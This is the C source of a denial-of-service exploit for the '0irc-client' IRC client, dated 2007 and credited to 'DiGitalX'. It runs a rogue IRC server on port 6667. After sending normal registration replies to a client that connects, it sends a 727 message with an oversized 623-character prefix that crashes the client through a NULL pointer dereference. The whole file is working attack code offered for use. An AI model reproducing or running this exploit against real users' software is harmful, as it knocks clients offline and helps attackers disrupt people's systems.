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/*
0irc-client v1345 build 20060823 DoS Exploit By DiGitalX (DiGi7alX@Gmail.com)
Date: 22/3/2007 -- MicroSystem Team -- Site: http://DiGitalX.I.am
Description: 0irc-client suffers from a NULL pointer derefrencing bug.
*/
#define WIN32_LEAN_AND_MEAN
#include <winsock2.h>
#include <windows.h>
#include <stdlib.h>
#include <stdio.h>
#pragma comment(lib, "wsock32.lib")
// `perl -e "print 'a' x 623";`
#define As "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
int main()
{
struct sockaddr_in sa, nsa;
SOCKET s, ns;
WSADATA wsa;
int err, val;
char buffer[1000]; /* evil buffer holder */
printf("0irc-client v1345 build 20060823 DoS Exploit By DiGitalX\n");
printf("MicroSystem Team -- Date: 22/3/2007 -- http://DiGitalX.I.am\n");
printf("Contact: DiGi7alX@Gmail.com\n\n");
printf("Initializing...\n");
/* first open the ircd */
//fire up winsock
if ((err = WSAStartup(MAKEWORD(1, 1), &wsa)) != 0) {
//if winsock is sick :P
printf("Error: Cannot initialize winsock (%d).\n", err);
return 1;
}
//create a socket
s = socket(AF_INET, SOCK_STREAM, 0);
if (s == INVALID_SOCKET) {
//if socket cannot be created inform user
printf("Error: Cannot create socket (%d).\n", WSAGetLastError());
return 1;
}
//starting building the sockaddr_in struct
memset(&sa, 0, sizeof(sa));
sa.sin_family = AF_INET;
sa.sin_addr.S_un.S_addr = INADDR_ANY;
sa.sin_port = htons(6667); /* default ircd port */
//now bind the socket to the port
if (bind(s, (const struct sockaddr *)&sa, sizeof(sa)) == SOCKET_ERROR) {
//if bind error inform user
printf("Error: Cannot bind socket to port 6667 (%d).\n", WSAGetLastError());
return 1;
}
//do listen for incoming connections
if (listen(s, SOMAXCONN) == SOCKET_ERROR) {
//cannot listen tell user
printf("Error: Cannot listen for incoming connections (%d).\n", WSAGetLastError());
return 1;
}
//listen OK
//set sockaddr_in structcure size
val = sizeof(nsa);
//now do accept clients
printf("Now connect using 0irc client.\n");
if ((ns = accept(s, (struct sockaddr *)&nsa, &val)) == INVALID_SOCKET) {
//if accept fails
printf("Error: Cannot accept incoming connection (%d).\n", WSAGetLastError());
return 1;
}
//accept OK .. inform user of new connection
printf("New Connection: %s\n", inet_ntoa(nsa.sin_addr));
//now the real job begins :D
snprintf(buffer, sizeof(buffer)-1, ":aaa 001 DiGitalX\r\n\0");
if ((err = send(ns, buffer, strlen(buffer), 0)) != strlen(buffer)) {
//oops!! error
if (err == SOCKET_ERROR) printf("Error: Cannot send evil buffer (%d).\n", WSAGetLastError());
else printf("Error: Evil buffer not sent properly. (%d/%d Bytes) sent.\n", err, strlen(buffer));
return 1;
}
snprintf(buffer, sizeof(buffer)-1, ":aaa 002 DiGitalX\r\n\0");
if ((err = send(ns, buffer, strlen(buffer), 0)) != strlen(buffer)) {
//oops!! error
if (err == SOCKET_ERROR) printf("Error: Cannot send evil buffer (%d).\n", WSAGetLastError());
else printf("Error: Evil buffer not sent properly. (%d/%d Bytes) sent.\n", err, strlen(buffer));
return 1;
}
snprintf(buffer, sizeof(buffer)-1, ":aaa 003 DiGitalX\r\n\0");
if ((err = send(ns, buffer, strlen(buffer), 0)) != strlen(buffer)) {
//oops!! error
if (err == SOCKET_ERROR) printf("Error: Cannot send evil buffer (%d).\n", WSAGetLastError());
else printf("Error: Evil buffer not sent properly. (%d/%d Bytes) sent.\n", err, strlen(buffer));
return 1;
}
snprintf(buffer, sizeof(buffer)-1, ":aaa 004 DiGitalX\r\n\0");
if ((err = send(ns, buffer, strlen(buffer), 0)) != strlen(buffer)) {
//oops!! error
if (err == SOCKET_ERROR) printf("Error: Cannot send evil buffer (%d).\n", WSAGetLastError());
else printf("Error: Evil buffer not sent properly. (%d/%d Bytes) sent.\n", err, strlen(buffer));
return 1;
}
snprintf(buffer, sizeof(buffer)-1, ":aaa 005 DiGitalX\r\n\0");
if ((err = send(ns, buffer, strlen(buffer), 0)) != strlen(buffer)) {
//oops!! error
if (err == SOCKET_ERROR) printf("Error: Cannot send evil buffer (%d).\n", WSAGetLastError());
else printf("Error: Evil buffer not sent properly. (%d/%d Bytes) sent.\n", err, strlen(buffer));
return 1;
}
snprintf(buffer, sizeof(buffer)-1, ":"As" 727 DiGitalX\r\n\0");
if ((err = send(ns, buffer, strlen(buffer), 0)) != strlen(buffer)) {
//oops!! error
if (err == SOCKET_ERROR) printf("Error: Cannot send evil buffer (%d).\n", WSAGetLastError());
else printf("Error: Evil buffer not sent properly. (%d/%d Bytes) sent.\n", err, strlen(buffer));
return 1;
}
//wait sometime
Sleep(1200);
//cleanup
//close sockets
closesocket(ns);
closesocket(s);
//close winsock
WSACleanup();
return 0; /* end of work :D */
}
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